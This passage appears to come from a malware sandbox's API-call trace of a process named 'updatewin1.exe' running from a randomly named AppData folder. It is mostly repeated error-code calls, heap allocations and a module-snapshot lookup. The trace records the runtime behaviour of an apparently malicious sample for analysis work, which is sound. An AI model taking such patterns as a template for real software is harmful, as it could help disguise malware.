9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xac\x5f\x85\xff\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0049.107] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x43a580, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin1.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin1.exe")) returned 0x5f [0049.107] GetLastError () returned 0x0 [0049.107] SetLastError (dwErrCode=0x0) [0049.107] GetLastError () returned 0x0 [0049.107] SetLastError (dwErrCode=0x0) [0049.107] GetLastError () returned 0x0 [0049.107] SetLastError (dwErrCode=0x0) [0049.107] GetLastError () returned 0x0 [0049.107] SetLastError (dwErrCode=0x0) [0049.107] GetLastError () returned 0x0 [0049.107] SetLastError (dwErrCode=0x0) [0049.107] GetLastError () returned 0x0 [0049.107] SetLastError (dwErrCode=0x0) [0049.107] GetLastError () returned 0x0 [0049.107] SetLastError (dwErrCode=0x0) [0049.107] GetLastError () returned 0x0 [0049.107] SetLastError (dwErrCode=0x0) [0049.107] GetLastError () returned 0x0 [0049.107] SetLastError (dwErrCode=0x0) [0049.107] GetLastError () returned 0x0 [0049.107] SetLastError (dwErrCode=0x0) [0049.107] GetLastError () returned 0x0 [0049.108] SetLastError (dwErrCode=0x0) [0049.108] GetLastError () returned 0x0 [0049.108] SetLastError (dwErrCode=0x0) [0049.108] GetLastError () returned 0x0 [0049.108] SetLastError (dwErrCode=0x0) [0049.108] GetLastError () returned 0x0 [0049.108] SetLastError (dwErrCode=0x0) [0049.108] GetLastError () returned 0x0 [0049.108] SetLastError (dwErrCode=0x0) [0049.108] GetLastError () returned 0x0 [0049.108] SetLastError (dwErrCode=0x0) [0049.108] GetLastError () returned 0x0 [0049.108] SetLastError (dwErrCode=0x0) [0049.108] GetLastError () returned 0x0 [0049.108] SetLastError (dwErrCode=0x0) [0049.108] GetLastError () returned 0x0 [0049.108] SetLastError (dwErrCode=0x0) [0049.108] GetLastError () returned 0x0 [0049.108] SetLastError (dwErrCode=0x0) [0049.108] GetLastError () returned 0x0 [0049.108] SetLastError (dwErrCode=0x0) [0049.108] GetLastError () returned 0x0 [0049.108] SetLastError (dwErrCode=0x0) [0049.108] GetLastError () returned 0x0 [0049.108] SetLastError (dwErrCode=0x0) [0049.108] GetLastError () returned 0x0 [0049.109] SetLastError (dwErrCode=0x0) [0049.109] GetLastError () returned 0x0 [0049.109] SetLastError (dwErrCode=0x0) [0049.109] GetLastError () returned 0x0 [0049.109] SetLastError (dwErrCode=0x0) [0049.109] GetLastError () returned 0x0 [0049.109] SetLastError (dwErrCode=0x0) [0049.109] GetLastError () returned 0x0 [0049.109] SetLastError (dwErrCode=0x0) [0049.109] GetLastError () returned 0x0 [0049.109] SetLastError (dwErrCode=0x0) [0049.109] GetLastError () returned 0x0 [0049.109] SetLastError (dwErrCode=0x0) [0049.109] GetLastError () returned 0x0 [0049.109] SetLastError (dwErrCode=0x0) [0049.109] GetLastError () returned 0x0 [0049.109] SetLastError (dwErrCode=0x0) [0049.109] GetLastError () returned 0x0 [0049.109] SetLastError (dwErrCode=0x0) [0049.109] GetLastError () returned 0x0 [0049.109] SetLastError (dwErrCode=0x0) [0049.109] GetLastError () returned 0x0 [0049.109] SetLastError (dwErrCode=0x0) [0049.109] GetLastError () returned 0x0 [0049.110] SetLastError (dwErrCode=0x0) [0049.110] GetLastError () returned 0x0 [0049.110] SetLastError (dwErrCode=0x0) [0049.110] GetLastError () returned 0x0 [0049.110] SetLastError (dwErrCode=0x0) [0049.110] GetLastError () returned 0x0 [0049.110] SetLastError (dwErrCode=0x0) [0049.110] GetLastError () returned 0x0 [0049.110] SetLastError (dwErrCode=0x0) [0049.110] GetLastError () returned 0x0 [0049.110] SetLastError (dwErrCode=0x0) [0049.110] GetLastError () returned 0x0 [0049.110] SetLastError (dwErrCode=0x0) [0049.110] GetLastError () returned 0x0 [0049.110] SetLastError (dwErrCode=0x0) [0049.110] GetLastError () returned 0x0 [0049.110] SetLastError (dwErrCode=0x0) [0049.110] GetLastError () returned 0x0 [0049.110] SetLastError (dwErrCode=0x0) [0049.110] GetLastError () returned 0x0 [0049.110] SetLastError (dwErrCode=0x0) [0049.110] GetLastError () returned 0x0 [0049.110] SetLastError (dwErrCode=0x0) [0049.110] GetLastError () returned 0x0 [0049.110] SetLastError (dwErrCode=0x0) [0049.110] GetLastError () returned 0x0 [0049.111] SetLastError (dwErrCode=0x0) [0049.111] GetLastError () returned 0x0 [0049.111] SetLastError (dwErrCode=0x0) [0049.111] GetLastError () returned 0x0 [0049.111] SetLastError (dwErrCode=0x0) [0049.111] GetLastError () returned 0x0 [0049.111] SetLastError (dwErrCode=0x0) [0049.111] GetLastError () returned 0x0 [0049.111] SetLastError (dwErrCode=0x0) [0049.111] GetLastError () returned 0x0 [0049.111] SetLastError (dwErrCode=0x0) [0049.111] GetLastError () returned 0x0 [0049.111] SetLastError (dwErrCode=0x0) [0049.111] GetLastError () returned 0x0 [0049.111] SetLastError (dwErrCode=0x0) [0049.111] GetLastError () returned 0x0 [0049.111] SetLastError (dwErrCode=0x0) [0049.111] GetLastError () returned 0x0 [0049.111] SetLastError (dwErrCode=0x0) [0049.111] GetLastError () returned 0x0 [0049.111] SetLastError (dwErrCode=0x0) [0049.111] GetLastError () returned 0x0 [0049.111] SetLastError (dwErrCode=0x0) [0049.111] GetLastError () returned 0x0 [0049.111] SetLastError (dwErrCode=0x0) [0049.112] GetLastError () returned 0x0 [0049.112] SetLastError (dwErrCode=0x0) [0049.112] GetLastError () returned 0x0 [0049.112] SetLastError (dwErrCode=0x0) [0049.112] GetLastError () returned 0x0 [0049.112] SetLastError (dwErrCode=0x0) [0049.112] GetLastError () returned 0x0 [0049.112] SetLastError (dwErrCode=0x0) [0049.112] GetLastError () returned 0x0 [0049.112] SetLastError (dwErrCode=0x0) [0049.112] GetLastError () returned 0x0 [0049.112] SetLastError (dwErrCode=0x0) [0049.112] GetLastError () returned 0x0 [0049.112] SetLastError (dwErrCode=0x0) [0049.112] GetLastError () returned 0x0 [0049.112] SetLastError (dwErrCode=0x0) [0049.112] GetLastError () returned 0x0 [0049.112] SetLastError (dwErrCode=0x0) [0049.112] GetLastError () returned 0x0 [0049.112] SetLastError (dwErrCode=0x0) [0049.112] GetLastError () returned 0x0 [0049.112] SetLastError (dwErrCode=0x0) [0049.112] GetLastError () returned 0x0 [0049.112] SetLastError (dwErrCode=0x0) [0049.112] GetLastError () returned 0x0 [0049.113] SetLastError (dwErrCode=0x0) [0049.113] GetLastError () returned 0x0 [0049.113] SetLastError (dwErrCode=0x0) [0049.113] GetLastError () returned 0x0 [0049.113] SetLastError (dwErrCode=0x0) [0049.113] GetLastError () returned 0x0 [0049.113] SetLastError (dwErrCode=0x0) [0049.113] GetLastError () returned 0x0 [0049.113] SetLastError (dwErrCode=0x0) [0049.113] GetLastError () returned 0x0 [0049.113] SetLastError (dwErrCode=0x0) [0049.113] GetLastError () returned 0x0 [0049.113] SetLastError (dwErrCode=0x0) [0049.113] GetLastError () returned 0x0 [0049.113] SetLastError (dwErrCode=0x0) [0049.113] GetLastError () returned 0x0 [0049.113] SetLastError (dwErrCode=0x0) [0049.113] GetLastError () returned 0x0 [0049.156] SetLastError (dwErrCode=0x0) [0049.156] GetLastError () returned 0x0 [0049.157] SetLastError (dwErrCode=0x0) [0049.157] GetLastError () returned 0x0 [0049.157] SetLastError (dwErrCode=0x0) [0049.157] GetLastError () returned 0x0 [0049.157] SetLastError (dwErrCode=0x0) [0049.157] GetLastError () returned 0x0 [0049.157] SetLastError (dwErrCode=0x0) [0049.157] GetLastError () returned 0x0 [0049.157] SetLastError (dwErrCode=0x0) [0049.157] GetLastError () returned 0x0 [0049.157] SetLastError (dwErrCode=0x0) [0049.157] GetLastError () returned 0x0 [0049.157] SetLastError (dwErrCode=0x0) [0049.157] GetLastError () returned 0x0 [0049.157] SetLastError (dwErrCode=0x0) [0049.157] GetLastError () returned 0x0 [0049.157] SetLastError (dwErrCode=0x0) [0049.157] GetLastError () returned 0x0 [0049.157] SetLastError (dwErrCode=0x0) [0049.157] GetLastError () returned 0x0 [0049.157] SetLastError (dwErrCode=0x0) [0049.157] GetLastError () returned 0x0 [0049.157] SetLastError (dwErrCode=0x0) [0049.158] GetLastError () returned 0x0 [0049.158] SetLastError (dwErrCode=0x0) [0049.158] GetLastError () returned 0x0 [0049.158] SetLastError (dwErrCode=0x0) [0049.158] GetLastError () returned 0x0 [0049.158] SetLastError (dwErrCode=0x0) [0049.158] GetLastError () returned 0x0 [0049.158] SetLastError (dwErrCode=0x0) [0049.158] GetLastError () returned 0x0 [0049.158] SetLastError (dwErrCode=0x0) [0049.158] GetLastError () returned 0x0 [0049.158] SetLastError (dwErrCode=0x0) [0049.158] GetLastError () returned 0x0 [0049.158] SetLastError (dwErrCode=0x0) [0049.158] GetLastError () returned 0x0 [0049.158] SetLastError (dwErrCode=0x0) [0049.158] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x0, Size=0x74) returned 0x3e1990 [0049.158] GetLastError () returned 0x0 [0049.158] SetLastError (dwErrCode=0x0) [0049.158] GetLastError () returned 0x0 [0049.158] SetLastError (dwErrCode=0x0) [0049.158] GetLastError () returned 0x0 [0049.158] SetLastError (dwErrCode=0x0) [0049.158] GetLastError () returned 0x0 [0049.159] SetLastError (dwErrCode=0x0) [0049.159] GetLastError () returned 0x0 [0049.159] SetLastError (dwErrCode=0x0) [0049.159] GetLastError () returned 0x0 [0049.159] SetLastError (dwErrCode=0x0) [0049.159] GetLastError () returned 0x0 [0049.159] SetLastError (dwErrCode=0x0) [0049.159] GetLastError () returned 0x0 [0049.159] SetLastError (dwErrCode=0x0) [0049.159] GetLastError () returned 0x0 [0049.159] SetLastError (dwErrCode=0x0) [0049.159] GetLastError () returned 0x0 [0049.159] SetLastError (dwErrCode=0x0) [0049.159] GetLastError () returned 0x0 [0049.159] SetLastError (dwErrCode=0x0) [0049.159] GetLastError () returned 0x0 [0049.159] SetLastError (dwErrCode=0x0) [0049.159] GetLastError () returned 0x0 [0049.159] SetLastError (dwErrCode=0x0) [0049.159] GetLastError () returned 0x0 [0049.159] SetLastError (dwErrCode=0x0) [0049.159] GetLastError () returned 0x0 [0049.159] SetLastError (dwErrCode=0x0) [0049.159] GetLastError () returned 0x0 [0049.160] SetLastError (dwErrCode=0x0) [0049.160] GetLastError () returned 0x0 [0049.160] SetLastError (dwErrCode=0x0) [0049.160] GetLastError () returned 0x0 [0049.160] SetLastError (dwErrCode=0x0) [0049.160] GetLastError () returned 0x0 [0049.160] SetLastError (dwErrCode=0x0) [0049.160] GetLastError () returned 0x0 [0049.160] SetLastError (dwErrCode=0x0) [0049.160] GetLastError () returned 0x0 [0049.160] SetLastError (dwErrCode=0x0) [0049.160] GetLastError () returned 0x0 [0049.160] SetLastError (dwErrCode=0x0) [0049.160] GetLastError () returned 0x0 [0049.160] SetLastError (dwErrCode=0x0) [0049.160] GetLastError () returned 0x0 [0049.160] SetLastError (dwErrCode=0x0) [0049.161] GetLastError () returned 0x0 [0049.161] SetLastError (dwErrCode=0x0) [0049.161] GetLastError () returned 0x0 [0049.161] SetLastError (dwErrCode=0x0) [0049.161] GetLastError () returned 0x0 [0049.161] SetLastError (dwErrCode=0x0) [0049.161] GetLastError () returned 0x0 [0049.161] SetLastError (dwErrCode=0x0) [0049.161] GetLastError () returned 0x0 [0049.161] SetLastError (dwErrCode=0x0) [0049.161] GetLastError () returned 0x0 [0049.161] SetLastError (dwErrCode=0x0) [0049.161] GetLastError () returned 0x0 [0049.161] SetLastError (dwErrCode=0x0) [0049.161] GetLastError () returned 0x0 [0049.161] SetLastError (dwErrCode=0x0) [0049.161] GetLastError () returned 0x0 [0049.161] SetLastError (dwErrCode=0x0) [0049.161] GetLastError () returned 0x0 [0049.161] SetLastError (dwErrCode=0x0) [0049.161] GetLastError () returned 0x0 [0049.161] SetLastError (dwErrCode=0x0) [0049.161] GetLastError () returned 0x0 [0049.161] SetLastError (dwErrCode=0x0) [0049.162] GetLastError () returned 0x0 [0049.162] SetLastError (dwErrCode=0x0) [0049.162] GetLastError () returned 0x0 [0049.162] SetLastError (dwErrCode=0x0) [0049.162] GetLastError () returned 0x0 [0049.162] SetLastError (dwErrCode=0x0) [0049.162] GetLastError () returned 0x0 [0049.162] SetLastError (dwErrCode=0x0) [0049.162] GetLastError () returned 0x0 [0049.162] SetLastError (dwErrCode=0x0) [0049.162] GetLastError () returned 0x0 [0049.162] SetLastError (dwErrCode=0x0) [0049.162] GetLastError () returned 0x0 [0049.162] SetLastError (dwErrCode=0x0) [0049.162] GetLastError () returned 0x0 [0049.162] SetLastError (dwErrCode=0x0) [0049.162] GetLastError () returned 0x0 [0049.162] SetLastError (dwErrCode=0x0) [0049.162] GetLastError () returned 0x0 [0049.162] SetLastError (dwErrCode=0x0) [0049.162] GetLastError () returned 0x0 [0049.162] SetLastError (dwErrCode=0x0) [0049.162] GetLastError () returned 0x0 [0049.162] SetLastError (dwErrCode=0x0) [0049.162] GetLastError () returned 0x0 [0049.163] SetLastError (dwErrCode=0x0) [0049.163] GetLastError () returned 0x0 [0049.163] SetLastError (dwErrCode=0x0) [0049.163] GetLastError () returned 0x0 [0049.163] SetLastError (dwErrCode=0x0) [0049.163] GetLastError () returned 0x0 [0049.163] SetLastError (dwErrCode=0x0) [0049.163] GetLastError () returned 0x0 [0049.163] SetLastError (dwErrCode=0x0) [0049.163] GetLastError () returned 0x0 [0049.163] SetLastError (dwErrCode=0x0) [0049.163] GetLastError () returned 0x0 [0049.163] SetLastError (dwErrCode=0x0) [0049.163] GetLastError () returned 0x0 [0049.163] SetLastError (dwErrCode=0x0) [0049.163] GetLastError () returned 0x0 [0049.163] SetLastError (dwErrCode=0x0) [0049.163] GetLastError () returned 0x0 [0049.163] SetLastError (dwErrCode=0x0) [0049.163] GetLastError () returned 0x0 [0049.163] SetLastError (dwErrCode=0x0) [0049.163] GetLastError () returned 0x0 [0049.163] SetLastError (dwErrCode=0x0) [0049.163] GetLastError () returned 0x0 [0049.164] SetLastError (dwErrCode=0x0) [0049.164] GetLastError () returned 0x0 [0049.164] SetLastError (dwErrCode=0x0) [0049.164] GetLastError () returned 0x0 [0049.164] SetLastError (dwErrCode=0x0) [0049.164] GetLastError () returned 0x0 [0049.164] SetLastError (dwErrCode=0x0) [0049.164] GetLastError () returned 0x0 [0049.164] SetLastError (dwErrCode=0x0) [0049.164] GetLastError () returned 0x0 [0049.164] SetLastError (dwErrCode=0x0) [0049.164] GetLastError () returned 0x0 [0049.164] SetLastError (dwErrCode=0x0) [0049.164] GetLastError () returned 0x0 [0049.164] SetLastError (dwErrCode=0x0) [0049.164] GetLastError () returned 0x0 [0049.164] SetLastError (dwErrCode=0x0) [0049.164] GetLastError () returned 0x0 [0049.164] SetLastError (dwErrCode=0x0) [0049.164] GetLastError () returned 0x0 [0049.164] SetLastError (dwErrCode=0x0) [0049.164] GetLastError () returned 0x0 [0049.164] SetLastError (dwErrCode=0x0) [0049.164] GetLastError () returned 0x0 [0049.165] SetLastError (dwErrCode=0x0) [0049.165] GetLastError () returned 0x0 [0049.165] SetLastError (dwErrCode=0x0) [0049.165] GetLastError () returned 0x0 [0049.165] SetLastError (dwErrCode=0x0) [0049.165] GetLastError () returned 0x0 [0049.165] SetLastError (dwErrCode=0x0) [0049.165] GetLastError () returned 0x0 [0049.165] SetLastError (dwErrCode=0x0) [0049.165] GetLastError () returned 0x0 [0049.165] SetLastError (dwErrCode=0x0) [0049.165] GetLastError () returned 0x0 [0049.165] SetLastError (dwErrCode=0x0) [0049.165] GetLastError () returned 0x0 [0049.165] SetLastError (dwErrCode=0x0) [0049.165] GetLastError () returned 0x0 [0049.165] SetLastError (dwErrCode=0x0) [0049.165] GetLastError () returned 0x0 [0049.165] SetLastError (dwErrCode=0x0) [0049.165] GetLastError () returned 0x0 [0049.165] SetLastError (dwErrCode=0x0) [0049.165] GetLastError () returned 0x0 [0049.165] SetLastError (dwErrCode=0x0) [0049.165] GetLastError () returned 0x0 [0049.166] SetLastError (dwErrCode=0x0) [0049.166] GetLastError () returned 0x0 [0049.166] SetLastError (dwErrCode=0x0) [0049.166] GetLastError () returned 0x0 [0049.166] SetLastError (dwErrCode=0x0) [0049.166] GetLastError () returned 0x0 [0049.166] SetLastError (dwErrCode=0x0) [0049.166] GetLastError () returned 0x0 [0049.166] SetLastError (dwErrCode=0x0) [0049.166] GetLastError () returned 0x0 [0049.166] SetLastError (dwErrCode=0x0) [0049.166] GetLastError () returned 0x0 [0049.166] SetLastError (dwErrCode=0x0) [0049.166] GetLastError () returned 0x0 [0049.166] SetLastError (dwErrCode=0x0) [0049.166] GetLastError () returned 0x0 [0049.166] SetLastError (dwErrCode=0x0) [0049.166] GetLastError () returned 0x0 [0049.166] SetLastError (dwErrCode=0x0) [0049.166] GetLastError () returned 0x0 [0049.166] SetLastError (dwErrCode=0x0) [0049.166] GetLastError () returned 0x0 [0049.166] SetLastError (dwErrCode=0x0) [0049.166] GetLastError () returned 0x0 [0049.166] SetLastError (dwErrCode=0x0) [0049.167] GetLastError () returned 0x0 [0049.167] SetLastError (dwErrCode=0x0) [0049.167] GetLastError () returned 0x0 [0049.167] SetLastError (dwErrCode=0x0) [0049.167] GetLastError () returned 0x0 [0049.167] SetLastError (dwErrCode=0x0) [0049.167] GetLastError () returned 0x0 [0049.167] SetLastError (dwErrCode=0x0) [0049.167] GetLastError () returned 0x0 [0049.167] SetLastError (dwErrCode=0x0) [0049.167] GetLastError () returned 0x0 [0049.167] SetLastError (dwErrCode=0x0) [0049.167] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x98) returned 0x3e1a10 [0049.167] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x1f) returned 0x3e1ab0 [0049.167] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x36) returned 0x3e1ad8 [0049.167] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x37) returned 0x3e1b18 [0049.167] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x3c) returned 0x3e1b58 [0049.167] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x31) returned 0x3e1ba0 [0049.167] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x17) returned 0x3e1be0 [0049.167] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x24) returned 0x3e1c00 [0049.167] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x14) returned 0x3e1c30 [0049.167] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0xd) returned 0x3e1c50 [0049.167] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x25) returned 0x3e1c68 [0049.167] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x39) returned 0x3e1c98 [0049.167] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x18) returned 0x3e1ce0 [0049.167] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x17) returned 0x3e1d00 [0049.167] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0xe) returned 0x3e1d20 [0049.167] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x69) returned 0x3e1d38 [0049.167] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x3e) returned 0x3e1db0 [0049.167] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x1b) returned 0x3e1df8 [0049.168] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x1d) returned 0x3e1e20 [0049.168] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x48) returned 0x3e1e48 [0049.168] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x12) returned 0x3e1e98 [0049.168] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x18) returned 0x3e1eb8 [0049.168] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x1b) returned 0x3e1ed8 [0049.168] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x24) returned 0x3e1f00 [0049.168] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x29) returned 0x3e1f30 [0049.168] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x1e) returned 0x3e1f68 [0049.168] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x41) returned 0x3e1f90 [0049.168] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x17) returned 0x3e1fe8 [0049.168] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0xf) returned 0x3e2008 [0049.168] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x16) returned 0x3e2020 [0049.168] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x2a) returned 0x3e2040 [0049.168] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x29) returned 0x3e2078 [0049.168] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x15) returned 0x3e20b0 [0049.168] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x1e) returned 0x3e20d0 [0049.168] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x2a) returned 0x3e20f8 [0049.168] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x12) returned 0x3e2130 [0049.168] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x18) returned 0x3e2150 [0049.168] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x46) returned 0x3e2170 [0049.168] HeapFree (in: hHeap=0x3e0000, dwFlags=0x0, lpMem=0x3e11f8 | out: hHeap=0x3e0000) returned 1 [0049.169] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x800) returned 0x3e21c0 [0049.169] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3e11f8 [0049.169] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x404e59) returned 0x0 [0049.170] RtlSizeHeap (HeapHandle=0x3e0000, Flags=0x0, MemoryPointer=0x3e11f8) returned 0x80 [0049.170] GetLastError () returned 0x0 [0049.170] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0049.170] GetProcAddress (hModule=0x76c20000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c5735f [0049.170] GetProcAddress (hModule=0x76c20000, lpProcName="Module32FirstW") returned 0x76c579f9 [0049.170] CreateToolhelp32Snapshot (dwFlags=0x8, th32ProcessID=0x0) returned 0x78 [0049.173] Module32FirstW (hSnapshot=0x78, lpme=0x18fac8) returned 0 [0049.173] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x18fa24) returned 0 [0049.173] GetTickCount () returned 0x1afce [0049.173] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.173] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.173] GetACP () returned 0x4e4 [0049.173] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.173] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.173] GetACP () returned 0x4e4 [0049.173] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.173] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.173] GetACP () returned 0x4e4 [0049.173] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.173] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.173] GetACP () returned 0x4e4 [0049.173] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.173] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.173] GetACP () returned 0x4e4 [0049.173] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.174] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.174] GetACP () returned 0x4e4 [0049.174] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.174] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.174] GetACP () returned 0x4e4 [0049.174] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.174] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.174] GetACP () returned 0x4e4 [0049.174] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.174] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.174] GetACP () returned 0x4e4 [0049.174] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.174] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.174] GetACP () returned 0x4e4 [0049.174] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.174] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.174] GetACP () returned 0x4e4 [0049.174] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.174] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.174] GetACP () returned 0x4e4 [0049.174] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.174] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.174] GetACP () returned 0x4e4 [0049.174] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.174] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.175] GetACP () returned 0x4e4 [0049.175] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | 